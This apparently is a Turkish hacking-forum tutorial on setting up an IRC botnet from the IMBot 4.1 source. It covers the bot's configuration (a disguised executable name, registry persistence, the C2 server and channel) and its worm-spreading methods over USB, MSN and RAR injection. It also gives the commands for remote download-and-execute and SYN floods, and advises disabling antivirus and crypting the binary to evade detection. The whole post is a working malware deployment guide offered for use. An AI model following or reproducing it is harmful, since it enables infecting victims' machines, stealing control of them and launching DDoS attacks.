BotNet Kurulumu İçin Gerekli olan Materyaller;
1-)IRC Server ( Unreal IRCd v.s. )
2-) BotNet Source ( Bu konunun sonunda ("IMBot 4.1") vereceğim.)
3-) Visual C++ 6
4-) Microsoft Platform SDK
5-) Biraz Cesaret.
Geçelim Kuruluma.Öncelikle vereceğim Sourcenin Özelliklerini belirteyim..
* USB Spread ( Zombie Bilgisayara takılan Flash Disk v.b donanımlara kendini autorun.inf içine otomatik olarak kopyalar.)
* MSN Spread ( Bu resimdeki senmisin hikayesi )
* Triton Spread
* AIM Spread
* SUPERSyn DDos Fonksiyonu. ( Etkili bir DDos Fonksiyonu )
* Dosya indirme Fonksiyonu.
* Vee.. Rar Inject ! ( Zombie PC’deki Bütün Rar dosyalarına kendini ekler - Sh0cK’s Special )
Sh0cK
Evet bi kaç temel bilgiyi verdikten sonra kuruluma başlayalım.Botnet Server için size önerebileceğim server :
irc.opera.com . Eğer Küçük bir bot ağı kurmak istiyorsanız burayı kullanın.Ama size tavsiyem, size özel bir irc server.
Herneyse, verdiğim Source’nin config.h dosyasını açıp gereken yerleri size özetliyeyim.
char password[] = "123456"; // Botunuzun Giriş Şifresi.
char authhost1[] = "*!*@*"; // Host Doğrulaması, Değiştirmeye gerek yok
char exename[] = "wuamgrd.exe"; // Botun, Victimin bilgisayarında ki ismi.Hmm.wuamgrd.exe ? Güzel isim )
char szRegname[] = "Service Update "; // Regedit Kaydı.
char gotopth[] = "%windir%"; // Nere kurulacak ?
char infochan[] = "#Sh0cK"; // Ana Kanal
char rarexe[] = "Cracker.exe"; //Rar Enjekte dosya ismi
char usbfname[] = "USBDrivers.exe"; // USB Spread. Dosya ismi
SERVER sinfo[]=
{
{
//"server","pass",6667,"channel","channelpass","-ix"
"127.0.0.1",// Serveriniz.
"test", // Server Şifresi
6667, // Port
"#Sh0cK", // Kanal
"test", // Kanal Key
"-ix", // Mod, Ellemenize gerek yok..
},
};
Sh0cK
Komutların bulunduğu dosya : cmd.h Bu dosyada ise editlemek istediğiniz komutları değiştirebilirsiniz.
Eğer düzenleme işlemini tamanladıysanız, F7 Ye basıp Exe Nizi derleyin.Derleme işlemi sırasında antilerinizi kapatmanızı önemle rica ederiz.Çünkü derleme sırasında büyük bir
ihtimal anti virüsler exenizi yakalayacaktır Çünkü derledğimiz exe bir worm =).
Sh0cK
UD Yapma işlemi hakkında bilgi vermeyeceğim. Forumda yeterince Crypter aracı var. UD İşlemini tamamladıktan sonra, exenizi yaymanız gerekli.
ve Komutlar ( Eğer Editlemediyseniz ):
.login [şifre] : Giriş komutu.
.dl.start [http://
www.google.com.tr/x.exe c:\\buraya.exe [1] or [0]]: Buradaki 1 Dosyayı çalıştırır.
.remove : Botu kaldırır.
.msn.msg [Bu senmisin :
http://bilmemne.com/a.php?mail=] : Sonuna, karşı tarafın mailini otomatik koyar.
.msn.sendzip [Bu senmisin] : Zip dosyası halinde dosyayı yollar.
.rarinject : PC Deki bütün rar dosyalarına kendini ekler.
.supersyn [IP Port Zaman] : SSyn DDos Uygular
Sh0cK
Nickdeki harflerin anlamları :
[TUR|01|MATUPD|483723]!XP-551@host.com
TUR = Bilgisayar ayarları Türkiyede olduğunu gösteriyor
M = Msn Çalışıyor
A = Aim Çalışıyor
T = Trition Çalışıyor
U = uTorrent Çalışıyor
P = Bot, Router veya Modemin arkasından bağlanıyor.
D = Bot, DialUp Bağlantıya sahip
01 = Bilgisayar 1 gündür açık
Sh0cK
Materyaller:
Linkleri Görmek İçin Konuya Cevap Yazmalısınız!!